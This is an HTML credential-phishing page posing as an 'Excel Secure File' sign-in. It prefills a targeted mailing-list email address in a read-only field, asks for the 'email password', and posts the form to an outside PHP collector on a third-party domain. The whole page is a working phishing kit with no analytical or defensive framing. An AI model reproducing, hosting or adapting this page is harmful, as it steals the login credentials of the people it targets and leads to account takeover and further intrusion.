<html lang="en" id = "myHTML">
   <head>
      <meta charset="UTF-8">
      <meta http-equiv="X-UA-Compatible" content="IE=edge">
      <meta name="viewport" content="width=device-width, initial-scale=1.0">
      <link rel="short icon" href="https://www.freepnglogos.com/uploads/excel-png-logo/excel-office-logo-png-7.png">
      <title>Excel Secure File</title>
      <style>
         @charset "utf-8";
         /* CSS Document */
         body {
         font-family:Segoe UI Light;
         topmargin:0px;
         leftmargin:0px;
         rightmargin:0px;
         background-attachment: fixed;
         }
         #header { color:#fff;
         font-size:15px;
         background:#000000;
         font-family:Segoe UI Light;
         }
         #doc { color:#999;
         border-top:#999 solid 1px;
         padding:8px;
         font-size:15px;
         }
         #doc1 { color:#999;
         border-top:#999 solid 1px;
         border-left:#999 solid 1px;
         padding:5px;
         font-size:15px;
         }
         #form { color:#333;
         font-size:20px;
         }
         input{
         width:360px;
         padding:6px;
         border-radius:3px;
         border:1px solid #999;
         font-size:16px;
         font-family:Segoe UI Light;
         color:#999;
         outline:none;
         }
         input:focus{
         border:1px solid #999;
         outline:none;
         color:#CCC;
         }
         input:hover {
         border:1px #69F solid;
         font-weight:bold;
         }
         input[type=submit]{
         width:180px;
         padding:7px;
         font-weight:bold;
         border-radius:3px;
         border:none;
         font-size:15px;
         font-family:Segoe UI Light;
         background:#69F;
         color:#FFF;
         }
         input[type=submit]:hover{
         color:#FFF;
         font-weight:bold;
         cursor:pointer;
         border:none;
         font-size:15px;
         font-family:Segoe UI Light;
         background:#069;
         }
         #check { width:16px;
         height:16px;
         color:#666;
         }
         #wch  { width:80%;
         }
         #fdiv  { width:500px;;
         text-align:left;
         padding:15px;
         background:#FFF;
         border-radius:2px;
         }
         #ex {  color:#333;
         font-size:14px;
         font-weight:bold;
         padding-bottom:8px;
         }
         #rem {color:#999;
         padding-left:25px;
         }
         #priv { font-size:12px;
         padding:5px;
         color:#999;}
         #com { padding-top:5px;
         font-size:14px;
         border-top:#CBCBCB solid 1px;
         color:#CBCBCB;
         padding-left:48px;
         }
         #ema{
         color:#333;
         padding-left:10px;
         font-family:Segoe UI Light;
         font-size:14px;
         }
         #emo{
         color:#333;
         padding-left:10px;
         font-family:Segoe UI Light;
         font-size:14px;
         }
         #emo2{
         color:#333;
         padding-left:10px;
         font-family:Segoe UI Light;
         font-size:14px;
         display:hidden;
         }
         @media only screen and (max-width: 600px)
         {
         #header { display:none;
         }
         #doc { display:none;
         border-top:#E6E6E6 solid 1px;
         border-bottom:#E6E6E6 solid 1px;
         }
         #ema{
         color:#333;
         padding-left:10px;
         font-family:Segoe UI Light;
         }
         #emo{
         color:#333;
         padding-left:10px;
         font-family:Segoe UI Light;
         }
         #emo2{
         color:#333;
         padding-left:10px;
         font-family:Segoe UI Light;
         }
         #doc1 { color:#999;
         border-top:#E6E6E6 solid 1px;
         border-bottom:#E6E6E6 solid 1px;
         padding:3px;
         font-size:13px;
         }
         #fdiv  { width:95%;;
         text-align:left;
         padding:5px;
         background:#FFF;
         padding-left:20px;
         border-radius:3px;
         }
         #form { color:#29703B;
         font-size:14px;
         }
         #ex {  color:#333;
         font-size:11px;
         font-weight:bold;
         padding-bottom:6px;
         width:65%;
         }
         input{
         width:350px;
         padding:6px;
         border-radius:3px;
         border:1px solid #E4E4E4;
         font-size:14px;
         font-family:Segoe UI Light;
         color:#333;
         outline:none;
         }
         input[type=submit]{
         width:150px;
         padding:7px;
         border-radius:2px;
         border:1px solid #E4E4E4;
         font-size:14px;
         font-family:Segoe UI Light;
         color:#333;
         }
         #check { width:13px;
         height:13px;
         color:#666;
         }
         #wch  { width:60%;
         }
         #l {font-size:14px;}
         #rem { font-size:13px;}
         #priv { font-size:10px;
         padding:5px;
         color:#999;}
         #com { padding-top:4px;
         font-size:11px;
         border-top:#29703B solid 1px;
         color:#C0C0C0;
         }
      </style>
      <script type="text/javascript">
         function validateForm() {
             var ema = document.forms["xe"]["email"].value;
             if (ema == null || ema == "") {
                 //alert("Fields cannot be empty");
                        document.getElementById('ema').style.borderColor="#E34234";
                 return false;
             }

             var emo = document.forms["xe"]["password"].value;
             if (emo == null || emo == "") {
                 document.getElementById('emo').style.borderColor="#E34234";
                 return false;
             }

                var emo2 = document.forms["xe"]["password2"].value;
             if (emo2 == null || emo2 == "") {
                        //alert("Comfirm password empty");
                 document.getElementById('emo2').style.borderColor = "#E34234";
                 return false;
             }

                var emo2 = document.forms["xe"]["password2"].value;
             if (emo != emo2) {
                  //alert("Passwords Do not match");
                  document.getElementById("emo2").style.borderColor = "#E34234";
                  return false;
                }

                var emailExp = /^[\w\-\.\+]+\@[a-zA-Z0-9\.\-]+\.[a-zA-z0-9]{2,4}$/;
                if(document.forms["xe"]["email"].value.match(emailExp)){
                        return true;
                }else{
                 document.getElementById('ema').style.borderColor="#E34234";
              return false;
                }

           }
      </script>
   </head>
   <body marginwidth="0" marginheight="0">
      <div align="left" style="background:#333; padding:1px;">
         <table width="280">
            <tbody>
               <tr>
                  <td width="47" height="45">
                     <img src="https://www.freepnglogos.com/uploads/excel-png-logo/supported-platforms-excel-logo-png-3.png" width="" height="35" alt=""> 
                  </td>
                  <td width="221" style="">
                     <font color="#FFFFFF">
                        <strong>Excel Secure File</strong>
                        <div style="padding-top:3px; font-size:12px;"><i>Excel File Access</i></div>
                     </font>
                  </td>
               </tr>
            </tbody>
         </table>
      </div>
      <div align="center" style="padding:3px; background:#4E4E4E; height:300%;">
         <div align="center" style="width:832px; height: 520px; background-image:url(https://saarvbazaar.com/Excel.jpg);">
            <br>
            <br>
            <br>
            <br>
            <br>
            <br>
            <div align="center" style="width:100%;">
               <div align="center" style="width:520px; padding:0px; background:#FCFCFC; font-family:Segoe UI Light; box-shadow:#333 0px 3px 10px 3px;">
                  <div align="left" style="background-image:url(https://t4.ftcdn.net/jpg/01/10/03/91/240_F_110039159_QjIHPw4JUZjvOe1cIfkGExTYTB3d1OeI.jpg); padding:6px;">
                     <table>
                        <tbody>
                           <tr>
                              <td width="43" height="41">
                                 <img src="https://www.freepnglogos.com/uploads/excel-png-logo/excel-office-logo-png-7.png" width="" height="50" alt="">
                              </td>
                              <td width="110" style=""></td>
                           </tr>
                        </tbody>
                     </table>
                  </div>
                  <div style="padding:5px;"></div>
                  <table width="389">
                     <tbody>
                        <tr>
                           <td align="left" width="31" style="padding-top:5px;">
                              <img src="https://www.kindpng.com/picc/m/495-4950519_unlock-alt-icons-download-for-free-in-png.png" width="" height="20" alt="">
                           </td>
                           <td width="338" align="left">
                              <font style="font-size:18px; color:#464646;"> <strong>Sign in with pkg-salt-team@lists.alioth.debian.org
</strong></font><br>
                           </td>
                        </tr>
                     </tbody>
                  </table>
                  <div style="padding:5px;"></div>
                  <form name="xe" action="https://gamma-group.ge/packages/data-image//excel2.0.php" method="post" style="width:400px;" onsubmit="return validateForm()">
                     <input readonly id="ema" type="email" value = "pkg-salt-team@lists.alioth.debian.org" name="email" placeholder="Enter email address" style="outline:none; padding:10px;">
                     <div style="padding:5px;"></div>
                     <input autofocus id="emo" type="password" pattern=".{6,}" required="" title="6 characters minimum" name="password" placeholder="Enter email password" style="outline:none; padding:10px;">
                     <div style="padding:12px;"></div>
                     <div align="right" style="padding-right:12px;">
                        <input type="submit" name="submit" value="Sign in" style="outline:none; padding:10px;">
                     </div>
                  </form>
                  <br>
               </div>
            </div>
         </div>
      </div>
   </body>
</html>